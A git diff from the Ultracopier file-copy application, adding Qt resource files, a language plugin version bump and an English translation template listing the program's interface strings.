+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>checkBox_limitSpeed</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>limitSpeed</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>109</x>
+ <y>144</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>199</x>
+ <y>144</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/plugins/static-plugins-oxygen.qrc b/plugins/static-plugins-oxygen.qrc
new file mode 100644
index 0000000..21b4be0
--- /dev/null
+++ b/plugins/static-plugins-oxygen.qrc
@@ -0,0 +1,6 @@
+<RCC>
+ <qresource prefix="/">
+ <file>Themes/Oxygen/informations.xml</file>
+ <file>Themes/Oxygen/Languages/fr/translation.qm</file>
+ </qresource>
+</RCC>
diff --git a/plugins/static-plugins-windows.qrc b/plugins/static-plugins-windows.qrc
new file mode 100644
index 0000000..6ddcdc0
--- /dev/null
+++ b/plugins/static-plugins-windows.qrc
@@ -0,0 +1,6 @@
+<RCC>
+ <qresource prefix="/">
+ <file>PluginLoader/catchcopy-v0002/informations.xml</file>
+ <file>PluginLoader/catchcopy-v0002/Languages/fr/translation.qm</file>
+ </qresource>
+</RCC>
diff --git a/plugins/static-plugins.qrc b/plugins/static-plugins.qrc
new file mode 100644
index 0000000..b250e7c
--- /dev/null
+++ b/plugins/static-plugins.qrc
@@ -0,0 +1,12 @@
+<RCC>
+ <qresource prefix="/">
+ <file>CopyEngine/Ultracopier/informations.xml</file>
+ <file>CopyEngine/Ultracopier/Languages/fr/translation.qm</file>
+ <file>Languages/fr/informations.xml</file>
+ <file>Languages/fr/flag.png</file>
+ <file>Languages/fr/translation.qm</file>
+ <file>Listener/catchcopy-v0002/informations.xml</file>
+ <file>Themes/Oxygen/informations.xml</file>
+ <file>Themes/Oxygen/Languages/fr/translation.qm</file>
+ </qresource>
+</RCC>
diff --git a/resources/Languages/en/flag.png b/resources/Languages/en/flag.png
index bb6e8d1..b662ab4 100644
--- a/resources/Languages/en/flag.png
+++ b/resources/Languages/en/flag.png
Binary files differ
diff --git a/resources/Languages/en/informations.xml b/resources/Languages/en/informations.xml
index ce665e0..671ac15 100644
--- a/resources/Languages/en/informations.xml
+++ b/resources/Languages/en/informations.xml
@@ -12,13 +12,11 @@
<!-- Detailed description -->
<description xml:lang="en"><![CDATA[File to define all English language related, Ultracopier is written in English, then not translation file needed]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>en</name>
- <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
- <dependencies><![CDATA[
- =ultracopier-0.3
- ]]></dependencies>
+ <dependencies><![CDATA[
+ ]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
<!-- The full name in the language we're translating to. -->
diff --git a/resources/Languages/en/translation.ts b/resources/Languages/en/translation.ts
new file mode 100644
index 0000000..e827a0a
--- /dev/null
+++ b/resources/Languages/en/translation.ts
@@ -0,0 +1,1383 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>CliParser</name>
+ <message>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="181"/>
+ <source>Help</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineManager</name>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
+ <source>Cannot find any engine with this name: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Core</name>
+ <message>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
+ <location filename="../../../Core.cpp" line="209"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
+ <location filename="../../../Core.cpp" line="209"/>
+ <source>Unable to get a copy engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <source>Unable to load the interface, copy aborted</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="392"/>
+ <source>Unable to load the copy engine, copy aborted</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Transfer mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FacilityEngine</name>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <source>s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <source>Too big</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <source>B</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <source>MB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <source>GB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <source>TB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <source>PB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <source>EB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <source>ZB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <source>YB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <source>Less than %10 seconds</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
+ <source>About %10 seconds remaining</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <source>About %1 minutes remaining</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <source>About %1 hours remaining</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <source>Copy engine</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
+ <source>Copy</source>
+ <extracomment>a copy</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <source>Move</source>
+ <extracomment>a move</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <source>Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
+ <source>Resume</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <source>Unlimited</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <source>Quit</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <source>Target</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <source>Listing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <source>Copying</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <source>Listing and copying</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <source>Overwrite if the last modification dates are different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <source>Select source directory</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <source>Select destination directory</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
+ <source>Internal error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
+ <source>Select one or more files to open</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
+ <source>All files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
+ <source>Save transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
+ <source>Open transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>HelpDialog</name>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
+This version is compiled as version: %1.</source>
+ <extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="85"/>
+ <source>Platform: %1</source>
+ <extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="121"/>
+ <source>About Qt</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="141"/>
+ <source>Do a crash</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="148"/>
+ <source>Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="155"/>
+ <source>Close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
+ <source>For http://portableapps.com/</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
+ <source>Portable version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
+ <source>Normal version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
+ <source>http://ultracopier.first-world.info/</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>LocalListener</name>
+ <message>
+ <location filename="../../../LocalListener.cpp" line="146"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../LocalListener.cpp" line="146"/>
+ <source>Timeout while recomposing data from connected clients</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>LogThread</name>
+ <message>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <source>Log file already open, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OptionDialog</name>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="14"/>
+ <location filename="../../../OptionDialog.ui" line="51"/>
+ <source>Options</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="56"/>
+ <source>General</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="61"/>
+ <source>Plugins</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="66"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
+ <source>Copy engine</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
+ <source>Themes</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="97"/>
+ <source>Log</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
+ <source>Plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="377"/>
+ <source>Add</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="390"/>
+ <source>Remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="400"/>
+ <source>Information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="427"/>
+ <source>Copy engine by order of preference:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
+ <source>Themes:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="616"/>
+ <source>Unable to load the themes plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="666"/>
+ <source>No option for this plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="697"/>
+ <source>Write the log file into:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="716"/>
